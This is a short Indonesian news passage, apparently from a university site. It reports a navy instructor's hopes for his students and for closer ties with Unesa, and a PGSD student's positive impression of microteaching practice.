Harapan ke depan dari mayor Dony TNI AL selaku pengajar TNI AL pemegang jabatan Perwira Operasi Pengajar bahwa untuk siswanya(TNI AL) sendiri agar siswanya dapat lulus semua. Dan harapan ke depan untuk unesa yakni agar selalu bisa menjalin hubungan yang lebih erat. Semisal, ketika mahasiswa kependidikan pgsd unesa akan mengadakan kegiatan sabtu minggu dalam rangka pengamatan bagaimana cara mengajar di AL.

Lab Microteaching PGSD

“Menyenangkan. Karena kita bisa terjun langsung dan mendapat pengalaman, tidak seperti kuliah yang kita hanya bisa dapat teori saja. Kita juga bisa aktif karena semua punya kesempatan untuk bertanya.” Kesan Tia, mahasiswa PGSD. (Devy/Deah)